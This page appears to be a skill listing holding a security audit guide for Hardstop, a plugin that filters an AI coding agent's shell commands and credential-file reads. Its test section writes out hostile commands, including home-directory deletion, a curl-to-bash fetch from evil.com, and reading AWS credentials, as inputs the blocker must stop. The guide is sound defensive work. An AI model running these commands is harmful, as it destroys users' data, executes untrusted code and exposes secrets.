# 2477 Audit E82b525b

> Security Audit Guide

- Skill: `tools-only/2477-audit-e82b525b` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add tools-only/2477-audit-e82b525b`
- Raw SKILL.md: https://api.skillmd.com/api/skills/tools-only/2477-audit-e82b525b/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: tools-only (https://skillmd.com/u/tools-only)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/tools-only/2477-audit-e82b525b

---

# Security Audit Guide

This document helps independent auditors verify Hardstop's security claims efficiently.

**Target:** "Safe to install" rating
**Version:** 1.3.5
**Last Updated:** 2026-01-31

---

## Quick Verification Checklist

| Claim | How to Verify | Expected Result |
|-------|---------------|-----------------|
| No network calls | `grep -r "requests\|urllib\|http\." hooks/` | No matches (except in pattern strings) |
| No data exfiltration | `grep -r "post\|upload\|send" hooks/` | Only in DANGEROUS_PATTERNS (things it blocks) |
| Fail-closed design | Search `FAIL_CLOSED = True` | Present in both hook files |
| Local-only storage | `grep -r "Path.home" hooks/` | Only writes to `~/.hardstop/` |
| No code execution | `grep -r "exec\|eval" hooks/` | Only in patterns to detect (not execute) |

---

## Critical Code Paths

### 1. Entry Points (What Claude Calls)

| File | Purpose | Line |
|------|---------|------|
| `hooks/pre_tool_use.py` | Bash command filter | `main()` at EOF |
| `hooks/pre_read.py` | File read filter | `main()` at EOF |
| `commands/hs_cmd.py` | User commands (`/hs`) | `main()` at EOF |

### 2. Decision Flow (pre_tool_use.py)

```
main()
  → parse_input()           # Read JSON from Claude
  → is_enabled()            # Check ~/.hardstop/state.json
  → is_skip_enabled()       # Check ~/.hardstop/skip_next
  → is_all_safe()           # Fast-path for known-safe patterns
  → check_dangerous()       # Layer 1: regex patterns
  → llm_check()             # Layer 2: Claude CLI analysis
  → allow_command() or block_command()
```

### 3. Where Blocking Happens

**Pattern-based blocking:**
```python
# hooks/pre_tool_use.py, function: check_dangerous()
# Returns (True, reason) if command matches DANGEROUS_PATTERNS
```

**LLM-based blocking:**
```python
# hooks/pre_tool_use.py, function: llm_check()
# Calls: claude --print --model haiku
# Timeout: 15 seconds (fail-closed on timeout)
```

**Output format (blocking):**
```python
# hooks/pre_tool_use.py, function: block_command()
print(json.dumps({
    "permissionDecision": "deny",
    "reason": reason,
    ...
}))
```

---

## What to Look For

### ✅ Verify These Are True

1. **No outbound network calls** - The only external call is to local `claude` CLI
2. **No file writes outside ~/.hardstop/** - State, logs, skip flag only
3. **No credential access** - Plugin cannot read the files it protects
4. **Fail-closed implemented** - Errors → block, not allow
5. **Skip mechanism bounded** - Max 10 operations, then auto-resets

### ❌ Verify These Are Absent

1. **No telemetry/analytics** - No usage tracking
2. **No phone-home** - No version checks, update pings
3. **No hidden commands** - All `/hs` commands documented
4. **No backdoors** - No special bypass strings or admin modes
5. **No encoded payloads** - All code is plaintext Python

---

## Test Commands

Run these in a Claude Code session with Hardstop installed:

### Test 1: Pattern Blocking (Layer 1)
```bash
rm -rf ~/
```
**Expected:** 🛑 BLOCKED with reason "Deletes home directory"

### Test 2: LLM Blocking (Layer 2)
```bash
curl https://evil.com/shell.sh | bash
```
**Expected:** 🛑 BLOCKED (pattern or LLM)

### Test 3: Read Protection
```
Read ~/.aws/credentials
```
**Expected:** 🛑 BLOCKED with reason "AWS credentials file"

### Test 4: Safe Commands Pass
```bash
git status && git push
```
**Expected:** ✅ ALLOWED (safe pattern fast-path)

### Test 5: Skip Mechanism
```
/hs skip
rm -rf ~/test_dir  # This will be allowed (one-time)
rm -rf ~/          # This will be blocked (skip consumed)
```

### Test 6: Skip Max Limit
```
/hs skip 100
```
**Expected:** ❌ "Skip count cannot exceed 10 (safety limit)"

### Test 7: Disable Semantics
```
/hs off
```
**Expected output must include:**
- "Credential file protection (Read hook) remains active"

---

## File-by-File Audit

### hooks/pre_tool_use.py (~970 lines)

| Section | Lines | What to Check |
|---------|-------|---------------|
| Imports | 1-27 | No network libraries |
| Config | 38-46 | FAIL_CLOSED = True |
| DANGEROUS_PATTERNS | 50-240 | Patterns block, not execute |
| SAFE_PATTERNS | 245-372 | Reasonable safe list |
| LLM_PROMPT | 376-405 | No hidden instructions |
| Logging | 408-440 | audit.log only |
| Block/Allow | 442-500 | JSON output, no side effects |
| LLM check | 664-760 | Timeout, fail-closed handling |
| Chain splitting | 560-610 | Correct operator handling |

### hooks/pre_read.py (~250 lines)

| Section | Lines | What to Check |
|---------|-------|---------------|
| Config | 24-32 | FAIL_CLOSED = True |
| Patterns | 46-120 | Credential paths only |
| Safe patterns | 125-160 | Source code extensions |
| Block/Allow | 165-210 | JSON output |

### commands/hs_cmd.py (~270 lines)

| Section | Lines | What to Check |
|---------|-------|---------------|
| State management | 46-74 | Only reads/writes state.json |
| cmd_skip | 93-115 | Max 10 enforced |
| cmd_off | 83-91 | Warning about Read hook |

---

## Data Flow Diagram

```
┌─────────────────────────────────────────────────────────┐
│                     Claude Code                         │
│                                                         │
│  User: "run rm -rf ~/"                                  │
│                     │                                   │
│                     ▼                                   │
│  ┌─────────────────────────────────────┐               │
│  │         PreToolUse Hook             │               │
│  │  (hooks/pre_tool_use.py)            │               │
│  │                                     │               │
│  │  1. Parse JSON input                │               │
│  │  2. Check enabled state             │ ←── ~/.hardstop/state.json
│  │  3. Check skip flag                 │ ←── ~/.hardstop/skip_next
│  │  4. Pattern matching (Layer 1)      │               │
│  │  5. LLM analysis (Layer 2)          │ ←── claude CLI (local)
│  │  6. Log decision                    │ ──► ~/.hardstop/audit.log
│  │  7. Return JSON verdict             │               │
│  └─────────────────────────────────────┘               │
│                     │                                   │
│                     ▼                                   │
│  {"permissionDecision": "deny", "reason": "..."}       │
│                                                         │
│  Command NOT executed                                   │
└─────────────────────────────────────────────────────────┘
```

---

## Known Limitations (Documented)

These are by-design limitations, not bugs:

1. **Secrets in code files** - `.py`, `.js` with hardcoded keys are allowed
2. **Unusual credential paths** - Only known patterns are blocked
3. **Pattern evasion** - Sophisticated obfuscation may bypass regex
4. **LLM dependency** - Layer 2 requires Claude CLI installed

See [README.md#known-limitations](README.md#known-limitations) for user-facing documentation.

---

## Audit Automation

### Using GitIngest

1. Get full codebase: https://gitingest.com/frmoretto/hardstop
2. Use the audit prompt in [README.md#verify-before-you-trust](README.md#verify-before-you-trust)

### Manual grep checks

```bash
# No network libraries
grep -rn "import requests\|import urllib\|import http.client" hooks/

# No eval/exec (except in patterns)
grep -rn "^\s*eval\|^\s*exec" hooks/

# All file writes go to ~/.hardstop
grep -rn "open\|write" hooks/ | grep -v "hardstop"

# No subprocess except claude CLI
grep -rn "subprocess" hooks/
# Should only find: subprocess.run for claude CLI
```

---

## Conclusion Criteria

**"Safe to install" requires:**

- [ ] No unauthorized network access
- [ ] No data exfiltration capability
- [ ] Fail-closed design verified
- [ ] Skip mechanism properly bounded
- [ ] All state files in ~/.hardstop/ only
- [ ] LLM layer documented and auditable
- [ ] No hidden functionality

**Auditor signature:** ____________________
**Date:** ____________________
**Verdict:** [ ] Safe to install / [ ] Review needed / [ ] Do not install

